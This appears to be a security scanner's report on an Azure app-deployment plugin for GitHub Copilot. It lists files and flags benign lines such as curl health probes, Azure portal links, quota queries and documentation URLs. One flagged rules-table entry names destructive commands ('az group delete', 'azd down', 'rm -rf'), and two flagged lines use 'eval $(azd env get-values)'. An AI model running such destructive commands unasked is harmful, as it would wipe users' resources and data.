- Executable scriptline 1
Executable file
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/health-check-patterns.md
- Network accessline 22
If the first health check returns **301 or 302**: 1. Read the `Location` header: `curl -sI "https://{fqdn}{probePath}" | Select-String "^location:" -CaseSensitive:$false` - Network accessline 23
1. Read the `Location` header: `curl -sI "https://{fqdn}{probePath}" | Select-String "^location:" -CaseSensitive:$false` - Network accessline 54
|---------|---------------| | Container Apps | `latestReadyRevisionName` not empty + HTTP on ingress FQDN | | App Service | HTTP GET `https://{name}.azurewebsites.net/` + `/health` | - Network accessline 55
| Container Apps | `latestReadyRevisionName` not empty + HTTP on ingress FQDN | | App Service | HTTP GET `https://{name}.azurewebsites.net/` + `/health` | | Static Web Apps | HTTP GET `https://{defaultHostname}/` → 2xx = `healthy` (hostname - Network accessline 56
| App Service | HTTP GET `https://{name}.azurewebsites.net/` + `/health` | - Network accessline 57
| Static Web Apps | HTTP GET `https://{defaultHostname}/` → 2xx = `healthy` (hostname: `az staticwebapp show -n {swa} -g {rg} --query defaultHostname -o tsv`) | - Network accessline 64
> ⛔ **Container Apps — run an explicit live HTTP probe (the pipeline status is NOT sufficient).** After `latestReadyRevisionName` is set, run an observable request against the ingress FQDN and capture the result into `deploy-result.json.end - Network accessline 65
> ```powershell > iwr "https://{ingressFqdn}/{probePath}" -UseBasicParsing # PowerShell > curl -sSfL "https://{ingressFqdn}/{probePath}" # bash - Network accessline 66
> iwr "https://{ingressFqdn}/{probePath}" -UseBasicParsing # PowerShell - Network accessline 67
> curl -sSfL "https://{ingressFqdn}/{probePath}" # bash - Network accessline 76
{ "name": "api", "url": "https://myapp-ca-dev-a1b2.azurecontainerapps.io", - Network accessline 77
"name": "api", "url": "https://myapp-ca-dev-a1b2.azurecontainerapps.io", "healthStatus": "healthy" // healthy | degraded | unreachable | unknown - Network accessline 78
"url": "https://myapp-ca-dev-a1b2.azurecontainerapps.io",
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/mcp-tools.md
- Network accessline 5
> **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tools/>
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/portal-links.md
- Network accessline 11
$deploymentName = "app-onboard-deploy-$("{sessionId}".Substring(0,8))" $resId = "/subscriptions/{subscriptionId}/providers/Microsoft.Resources/deployments/$deploymentName" $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDeta - Network accessline 12
$resId = "/subscriptions/{subscriptionId}/providers/Microsoft.Resources/deployments/$deploymentName" $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F'))" Write-Output "LIN - Network accessline 13
$link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F'))" - Network accessline 27
$resId = "/subscriptions/{subscriptionId}/resourceGroups/{rg}/providers/Microsoft.Resources/deployments/$deploymentName" $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F') - Network accessline 28
$link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F'))" - Network accessline 33
For Terraform (no single ARM deployment): `https://portal.azure.com/#@{tenantId}/resource/subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/activitylog` - Network accessline 51
⚠<U+FE0F> Previous deployment link is stale — use this one: https://portal.azure.com/.../{newDeploymentName} - Network accessline 52
https://portal.azure.com/.../{newDeploymentName}
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/preflight-checks.md
- Network accessline 17
- Success → proceed. Active subscription + tenant confirmed. - Failure → `ENVIRONMENT_BLOCKING`. Suggest `az login` (plain, no scope). - ⛔ NEVER suggest `az login --scope https://graph.microsoft.com/.default` — Graph scope is irrelevant for - Network accessline 19
- ⛔ NEVER suggest `az login --scope https://graph.microsoft.com/.default` — Graph scope is irrelevant for ARM deployments.
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/handoff-protocol.md
- Network accessline 12
> 📁 Resource Group: {context.json.azure.resourceGroup} > 🌍 Region: {context.json.azure.region} > 🔗 Portal: https://portal.azure.com/#@/resource/subscriptions/{subId}/resourceGroups/{rgName}/overview - Network accessline 13
> 🌍 Region: {context.json.azure.region} > 🔗 Portal: https://portal.azure.com/#@/resource/subscriptions/{subId}/resourceGroups/{rgName}/overview > ``` - Network accessline 14
> 🔗 Portal: https://portal.azure.com/#@/resource/subscriptions/{subId}/resourceGroups/{rgName}/overview
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/iac-resources.md
- Network accessline 7
| Resource | URL | Use When | |----------|-----|----------| | Bicep Documentation | https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/ | Syntax, file structure, deployment scopes, install | - Network accessline 8
|----------|-----|----------| | Bicep Documentation | https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/ | Syntax, file structure, deployment scopes, install | | Azure Resource Reference | https://learn.microsoft.com/en-u - Network accessline 9
| Bicep Documentation | https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/ | Syntax, file structure, deployment scopes, install | - Network accessline 10
| Azure Resource Reference | https://learn.microsoft.com/en-us/azure/templates/ | Resource properties, API versions, schema per type | - Network accessline 14
| Resource | URL | Use When | |----------|-----|----------| | Terraform Registry — azurerm | https://registry.terraform.io/providers/hashicorp/azurerm/latest | Resource type properties, argument reference, import blocks | - Network accessline 15
|----------|-----|----------| | Terraform Registry — azurerm | https://registry.terraform.io/providers/hashicorp/azurerm/latest | Resource type properties, argument reference, import blocks | | Terraform Registry — azapi | https://registry. - Network accessline 16
| Terraform Registry — azurerm | https://registry.terraform.io/providers/hashicorp/azurerm/latest | Resource type properties, argument reference, import blocks | - Network accessline 17
| Terraform Registry — azapi | https://registry.terraform.io/providers/azure/azapi/latest | Preview resources not yet in azurerm; maps to ARM REST APIs | - Network accessline 34
| Resource | URL | Use When | |----------|-----|----------| | Common ARM Deployment Errors | https://learn.microsoft.com/en-us/azure/azure-resource-manager/troubleshooting/common-deployment-errors | `InvalidTemplateDeployment`, `SkuNotAvail - Network accessline 35
|----------|-----|----------| | Common ARM Deployment Errors | https://learn.microsoft.com/en-us/azure/azure-resource-manager/troubleshooting/common-deployment-errors | `InvalidTemplateDeployment`, `SkuNotAvailable`, `QuotaExceeded`, any AR - Network accessline 36
| Common ARM Deployment Errors | https://learn.microsoft.com/en-us/azure/azure-resource-manager/troubleshooting/common-deployment-errors | `InvalidTemplateDeployment`, `SkuNotAvailable`, `QuotaExceeded`, any ARM error code | - Network accessline 37
| App Service Troubleshooting | https://learn.microsoft.com/en-us/troubleshoot/azure/app-service/ | Startup crashes, Kudu/Oryx build failures, health probe issues | - Network accessline 38
| App Service Zip Deploy Guide | https://learn.microsoft.com/en-us/azure/app-service/deploy-zip | Zip deploy, SCM_DO_BUILD_DURING_DEPLOYMENT, Kudu publish API | | Container Apps Troubleshooting | https://learn.microsoft.com/en-us/azure/cont - Network accessline 39
| Container Apps Troubleshooting | https://learn.microsoft.com/en-us/azure/container-apps/troubleshooting | Revision failures, ingress errors, secret resolution, image pull failures | - Network accessline 40
| Quota Increase Portal | https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas | Direct link for quota increase requests |
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/mcp-tool-reference.md
- Network accessline 5
> **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs for current parameter names and allowed values: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tool - Network accessline 28
> **Additional global params** (not commonly needed by AppOnboard): `authentication-method` (credential\|key\|connectionString), `max-retries` (default 3), `retry-delay` (default 2s), `retry-delay-maximum` (default 10s), `retry-mode` (fixed
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/phases/deploy.md
- Network accessline 43
| 4 | **Deploy approval gate** | Present cost + resource summary per `deploy-checklist.md` § Deploy approval gate format. | — | — | | 5b | **Write deploy-result.json skeleton** | ⛔ Read [`deploy-schemas.ts`](../deploy/deploy-schemas.ts), wr - Network accessline 44
| 5b | **Write deploy-result.json skeleton** | ⛔ Read [`deploy-schemas.ts`](../deploy/deploy-schemas.ts), write skeleton (`status: "in-progress"`). Must exist BEFORE first `az` command. | `deploy-result.json` | ⛔ **You MUST read [`deploy-sc - Network accessline 45
| 6 | **Execute deployment** | ⛔ **BEFORE `az deployment sub create`:** Generate portal link — `$dn="{deploymentName}"; $r="/subscriptions/{subId}/providers/Microsoft.Resources/deployments/$dn"; $l="https://portal.azure.com/#view/Microsoft_
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/mcp-tools.md
- Network accessline 5
> **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tools/>
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/naming-patterns.md
- Network accessline 5
> **Reference:** [Azure naming conventions](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/resource-naming) — link, don't duplicate. Check docs for updates.
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/prepare-schemas.ts
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/pricing-guide-services.md
- Network accessline 197
**Not in the Retail Prices API.** Fixed pricing — query [azure.microsoft.com/pricing/details/app-service/static](https://azure.microsoft.com/en-us/pricing/details/app-service/static/):
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/pricing-guide.md
- Network accessline 66
When `pricing_get` returns empty: (1) Check `armSkuName` populated/case-sensitive? (2) HTTP fallback: `https://prices.azure.com/api/retail/prices?$filter={filter}`. (3) After 2 failures, use [pricing-guide-services.md](pricing-guide-service
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/sku-quota-validation.md
- Network accessline 35
$sub = '{subscriptionId}'; $sku = '{sku}' @('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object { $limit = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/ - Network accessline 36
@('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object { $limit = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/Microsoft.Quota/quotas/$sku?api-version=20 - Network accessline 37
$limit = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/Microsoft.Quota/quotas/$sku?api-version=2023-02-01" --query "properties.limit.value" -o tsv 2>$null - Network accessline 38
$used = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/Microsoft.Quota/usages/$sku?api-version=2023-02-01" --query "properties.usages.value" -o tsv 2>$null - Network accessline 48
az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.App/locations/{region}/usages?api-version=2024-03-01" --query "value[?name.value=='ManagedEnvironmentCount'].{used:currentValue, limit:limit}" - - Network accessline 86
$sub = '{subscriptionId}'; $provider = 'Microsoft.DBforPostgreSQL'; $apiVer = '2022-12-01' @('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object { $result = az rest --method get --url "https://management.azure.com/subscriptions/$s - Network accessline 87
@('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object { $result = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/$provider/locations/$_/capabilities?api-version=$apiVer" --query "value[0].sup - Network accessline 88
$result = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/$provider/locations/$_/capabilities?api-version=$apiVer" --query "value[0].supportedFlexibleServerEditions[0].name" -o tsv 2>$null
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/subagent-pricing.md
- Network accessline 42
- ⛔ **Do NOT invoke ANY skills** — no `{"skill": "azure-validate"}`, `{"skill": "azure-prepare"}`, or any other skill call. You are a pricing subagent only. Use direct HTTP to `https://prices.azure.com/api/retail/prices` for price queries ( - Network accessline 45
- ⛔ For services with empty `armSkuName` (Container Apps, Functions Consumption, ACR, Storage, Cosmos, Key Vault): use `filter`/`meterName` matching — a `sku` filter returns `[]` - ⛔ **Monthly multiplier = each meter's `unitOfMeasure`** (`1 - Network accessline 46
- ⛔ **Monthly multiplier = each meter's `unitOfMeasure`** (`1 Hour`→×730, `1/Day`→×30 [ACR/registry, SQL DTU], `1 GB/Month`→×GB, `1 Second`→usage) — NEVER blanket ×730; applying ×730 to a `1/Day` meter overstates ~24× - ⛔ Use direct HTTP to - Network accessline 47
- ⛔ Use direct HTTP to `https://prices.azure.com/api/retail/prices` for all price lookups. Do NOT use `mcp_azure_mcp_pricing` — it was already tried inline and failed.
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/validation-rubric.md
- Network accessline 8
|-----------|---------------| | **Goal Alignment** | Every `context.json.intent` field reflected in service/SKU choice. No orphaned services (every service maps to a component or supporting role). `overrides[]` honored. | | **WAF Alignment* - Network accessline 9
| **Goal Alignment** | Every `context.json.intent` field reflected in service/SKU choice. No orphaned services (every service maps to a component or supporting role). `overrides[]` honored. | | **WAF Alignment** | **Cost:** SKU matches budg - Network accessline 10
| **WAF Alignment** | **Cost:** SKU matches budget; alternatives document cost tradeoffs. **Reliability:** Production plans include zone-redundant SKUs, GRS storage. **Security:** Managed identity + Key Vault; private endpoints where budget - Network accessline 22
- [Azure Well-Architected Framework](https://learn.microsoft.com/en-us/azure/well-architected/) — pillar definitions and tradeoff guidance - Network accessline 23
- [WAF Service Guides](https://learn.microsoft.com/en-us/azure/well-architected/service-guides/) — per-service WAF alignment checklists
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/bicep-container-apps.md
- Network accessline 116
> ❌ **WRONG — `environment().suffixes.keyvaultDns` produces double-dot URL:** > `keyVaultUrl: 'https://${kvName}${environment().suffixes.keyvaultDns}/secrets/...'` - Network accessline 117
> `keyVaultUrl: 'https://${kvName}${environment().suffixes.keyvaultDns}/secrets/...'` - Network accessline 133
// ⛔ Do NOT replace vault.azure.net with environment().suffixes.keyvaultDns — it adds a leading dot → double-dot URL #disable-next-line no-hardcoded-env-urls keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets - Network accessline 134
#disable-next-line no-hardcoded-env-urls keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string' identity: 'system' // Uses the CA's system-assigned managed identity - Network accessline 135
keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string' - Network accessline 188
Container Apps in the same environment communicate via internal DNS: `http://{container-app-name}`. Set via env vars: - Network accessline 191
env: [ { name: 'API_URL', value: 'http://${apiContainerApp.name}' } - Network accessline 192
{ name: 'API_URL', value: 'http://${apiContainerApp.name}' } - Network accessline 193
{ name: 'WORKER_URL', value: 'http://${workerContainerApp.name}' }
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/bicep-patterns-security.md
- Network accessline 20
> **Source:** Adapted from Azure security best practices. See [Azure security baseline](https://learn.microsoft.com/en-us/security/benchmark/azure/overview) for updates. - Access to secretsline 77
[Credential-related source omitted] - Network accessline 79
> **Container Apps exception:** Phase 1 of two-phase deployment uses `secrets: []` — NO secrets at all (not plaintext, not KV). KV `secretRef` entries are activated in Phase 2 after RBAC propagates. See [bicep-container-apps.md](../scaffold - Network accessline 80
> > ⛔ **Container Apps KV URL — do NOT use `environment().suffixes.keyvaultDns`.** That function returns `.vault.azure.net` (WITH leading dot) → double-dot URL → `ContainerAppSecretKeyVaultUrlInvalid`. Use `'https://${kvName}.vault.azure.ne - Network accessline 81
> ⛔ **Container Apps KV URL — do NOT use `environment().suffixes.keyvaultDns`.** That function returns `.vault.azure.net` (WITH leading dot) → double-dot URL → `ContainerAppSecretKeyVaultUrlInvalid`. Use `'https://${kvName}.vault.azure.net/
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/bicep-patterns.md
- Network accessline 5
> **Source:** Adapted from Azure Bicep best practices. See [Bicep best practices](https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/best-practices) for updates. - Network accessline 76
{ "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", - Network accessline 77
"$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/dockerfile-generation.md
- Network accessline 59
1. Dockerfile MUST include `ARG NEXT_PUBLIC_API_URL` before the `RUN npm run build` step 2. Deploy phase passes `--build-arg NEXT_PUBLIC_API_URL=https://{api-fqdn}` to `az acr build` - Network accessline 60
2. Deploy phase passes `--build-arg NEXT_PUBLIC_API_URL=https://{api-fqdn}` to `az acr build` - Network accessline 62
Detect from `.env*` files containing `NEXT_PUBLIC_*` pointing to another service (e.g., `NEXT_PUBLIC_API_URL=http://localhost:3001`).
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/env-var-secrets.md
- Network accessline 12
> **Pitfalls:** `CORS_ORIGINS=["*"]` → invalid for strict validators (use actual URLs). `DATABASE_URL=changethis` → use KV ref. JSON array env vars need Bicep variable escaping: > ```bicep > var corsOrigins = '["https://${containerApp.prope - Network accessline 13
> ```bicep > var corsOrigins = '["https://${containerApp.properties.configuration.ingress.fqdn}"]' > { name: 'CORS_ORIGINS', value: corsOrigins } - Network accessline 14
> var corsOrigins = '["https://${containerApp.properties.configuration.ingress.fqdn}"]' - Network accessline 35
{ name: 'db-connection-string' keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string' - Network accessline 36
name: 'db-connection-string' keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string' identity: 'system' - Network accessline 37
keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string' - Access to secretsline 56
[Credential-related source omitted]
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/iac-generation-rules.md
- Network accessline 61
⛔ Read [`bicep-patterns-security.md`](bicep-patterns-security.md) (or `terraform-patterns.md` § Security Defaults) and verify ALL security patterns from Step 5. If deployment includes compute with MI ↔ resource RBAC, ⛔ read [rbac-roles.md](
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/mcp-tools.md
- Network accessline 5
> **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tools/>
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/scaffold-schemas.ts
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/self-review-checklist.md
- Network accessline 112
Per-pillar spot check against [Azure Well-Architected Framework](https://learn.microsoft.com/en-us/azure/well-architected/).
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/terraform-patterns.md
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/waf-checklist.md
- Network accessline 5
> **Reference:** [Azure Well-Architected Framework](https://learn.microsoft.com/en-us/azure/well-architected/) — link, don't duplicate. See [WAF Service Guides](https://learn.microsoft.com/en-us/azure/well-architected/service-guides/) for p
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/session-schemas.ts
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/scripts/scaffold/scaffold-conformance.ps1
- Executable scriptline 1
#!/usr/bin/env pwsh
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/scripts/scaffold/scaffold-conformance.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/SKILL.md
- Network accessline 45
> **APIM / AI Gateway**: Use this skill to deploy applications whose APIM/AI gateway infrastructure was already created during **azure-prepare**. For creating or changing APIM resources, see [APIM deployment guide](https://learn.microsoft.c - Network accessline 68
| 8 | **Verify Success** — Confirm deployment completed and endpoints are accessible | [Verification](references/recipes/azd/verify.md) | | 9 | **Live Role Verification** — Query Azure to confirm provisioned RBAC roles are correct and suffi - Network accessline 70
| 10 | **Report Results** — Present deployed endpoint URLs to the user as fully-qualified `https://` links | [Verification](references/recipes/azd/verify.md) | - Network accessline 72
> **⛔ URL FORMAT RULE** > > When presenting endpoint URLs to the user, you **MUST** always use fully-qualified URLs with the `https://` scheme (e.g. `https://myapp.azurewebsites.net`, not `myapp.azurewebsites.net`). Many Azure CLI commands - Network accessline 74
> When presenting endpoint URLs to the user, you **MUST** always use fully-qualified URLs with the `https://` scheme (e.g. `https://myapp.azurewebsites.net`, not `myapp.azurewebsites.net`). Many Azure CLI commands return bare hostnames with
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/global-rules.md
- Dangerous shell operationline 13
| **Delete** | `az group delete`, `azd down`, `rm -rf`, delete resource |
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azcli/verify.md
- Network accessline 10
curl -s https://<endpoint>/health | jq . - Network accessline 39
# Container Apps FQDN=$(az containerapp show --name <app-name> --resource-group <rg-name> --query "properties.configuration.ingress.fqdn" -o tsv) echo "https://$FQDN" - Network accessline 41
echo "https://$FQDN" - Network accessline 43
# App Service HOSTNAME=$(az webapp show --name <app-name> --resource-group <rg-name> --query "defaultHostName" -o tsv) echo "https://$HOSTNAME" - Network accessline 45
echo "https://$HOSTNAME" - Network accessline 47
# Static Web Apps HOSTNAME=$(az staticwebapp show --name <app-name> --resource-group <rg-name> --query "defaultHostname" -o tsv) echo "https://$HOSTNAME" - Network accessline 49
echo "https://$HOSTNAME" - Network accessline 54
# Container Apps $Fqdn = az containerapp show --name <app-name> --resource-group <rg-name> --query "properties.configuration.ingress.fqdn" -o tsv Write-Output "https://$Fqdn" - Network accessline 56
Write-Output "https://$Fqdn" - Network accessline 58
# App Service $Hostname = az webapp show --name <app-name> --resource-group <rg-name> --query "defaultHostName" -o tsv Write-Output "https://$Hostname" - Network accessline 60
Write-Output "https://$Hostname" - Network accessline 62
# Static Web Apps $Hostname = az staticwebapp show --name <app-name> --resource-group <rg-name> --query "defaultHostname" -o tsv Write-Output "https://$Hostname" - Network accessline 64
Write-Output "https://$Hostname" - Network accessline 67
> ⚠<U+FE0F> **These commands return bare hostnames without a scheme.** Always prepend `https://` when presenting URLs to the user. For example, report `https://myapp.azurewebsites.net`, never `myapp.azurewebsites.net`. - Network accessline 69
Present a summary including all service URLs as fully-qualified `https://` links. Do NOT end your response without including them.
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/ef-migrations.md
- Network accessline 146
- [SQL Managed Identity Access](sql-managed-identity.md) - [Post-Deployment Guide](post-deployment.md) - [EF Core Migrations](https://learn.microsoft.com/ef/core/managing-schemas/migrations/) - Network accessline 148
- [EF Core Migrations](https://learn.microsoft.com/ef/core/managing-schemas/migrations/)
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/functions-deploy.md
- Network accessline 73
# Check status code only (GET, don't follow redirects) curl -s -o /dev/null -w "%{http_code}" "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 74
curl -s -o /dev/null -w "%{http_code}" "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 76
# Get status code and redirect URL curl -s -o /dev/null -w "Status: %{http_code}\nRedirect: %{redirect_url}" "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 77
curl -s -o /dev/null -w "Status: %{http_code}\nRedirect: %{redirect_url}" "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 79
# Verbose output showing response headers (GET) curl -sS -D - -o /dev/null "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 80
curl -sS -D - -o /dev/null "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 86
# DO NOT use this — returns 404 even when the function works curl -I "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 87
curl -I "https://<func-name>.azurewebsites.net/api/<route>"
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/post-deployment.md
- Dangerous shell operationline 38
eval $(azd env get-values) - Network accessline 78
# Health check curl -f "$ENDPOINT/health" || echo "Health check failed" - Network accessline 79
curl -f "$ENDPOINT/health" || echo "Health check failed" - Network accessline 81
# Test database connectivity curl -f "$ENDPOINT/api/test-db" || echo "Database connection failed" - Network accessline 82
curl -f "$ENDPOINT/api/test-db" || echo "Database connection failed"
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/scripts/apply-migrations.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/scripts/apply-migrations.sh
- Executable scriptline 1
#!/bin/bash
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/scripts/grant-and-migrate.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/scripts/grant-and-migrate.sh
- Executable scriptline 1
#!/bin/bash
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/sql-managed-identity.md
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/verify.md
- Network accessline 14
Resource Group: rg-myapp-dev Services: api - Endpoint: https://api-xxxx.azurecontainerapps.io - Network accessline 16
api - Endpoint: https://api-xxxx.azurecontainerapps.io - Network accessline 25
# Test endpoint curl -f "$ENDPOINT/health" || curl -f "$ENDPOINT" - Network accessline 26
curl -f "$ENDPOINT/health" || curl -f "$ENDPOINT" - Network accessline 66
| Service | Endpoint | |---------|----------| | apiservice | https://apiservice.xxx.azurecontainerapps.io | - Network accessline 68
| apiservice | https://apiservice.xxx.azurecontainerapps.io | - Network accessline 70
Aspire Dashboard: https://aspire-dashboard.xxx.azurecontainerapps.io - Network accessline 73
> ⚠<U+FE0F> **Always use fully-qualified URLs with the `https://` scheme.** If a command returns a bare hostname (e.g. `myapp.azurestaticapps.net`), prepend `https://` before presenting it to the user. - Dangerous shell operationline 85
eval $(azd env get-values)
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/bicep/verify.md
- Network accessline 18
curl -s https://<endpoint>/health | jq . - Network accessline 31
Present a summary including all service URLs as fully-qualified `https://` links. If a deployment output returns a bare hostname (e.g. `myapp.azurewebsites.net`), always prepend `https://`. Do NOT end your response without including them.
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/cicd/verify.md
- Network accessline 16
curl -s https://<endpoint>/health | jq . - Network accessline 23
Extract endpoints from the pipeline output or query them directly via `az` CLI. Present a summary including all service URLs as fully-qualified `https://` links. If any command returns a bare hostname (e.g. `myapp.azurewebsites.net`), alway
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/terraform/README.md
- Access to secretsline 18
[Credential-related source omitted]
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/terraform/errors.md
- Access to secretsline 10
[Credential-related source omitted]
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/terraform/verify.md
- Network accessline 11
curl -s https://$(terraform output -raw api_url)/health | jq . - Network accessline 30
Present a summary including all service URLs as fully-qualified `https://` links. If a Terraform output returns a bare hostname (e.g. `myapp.azurewebsites.net`), always prepend `https://`. Do NOT end your response without including them.
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/region-availability.md
- Network accessline 3
> **AUTHORITATIVE SOURCE** — Consult this file BEFORE recommending any region. > > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table - Network accessline 5
> Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table - Network accessline 65
> Check https://learn.microsoft.com/azure/ai-services/openai/concepts/models for current model availability.
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/sdk/azd-deployment.md
- Access to secretsline 25
[Credential-related source omitted]
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/troubleshooting.md
- Network accessline 114
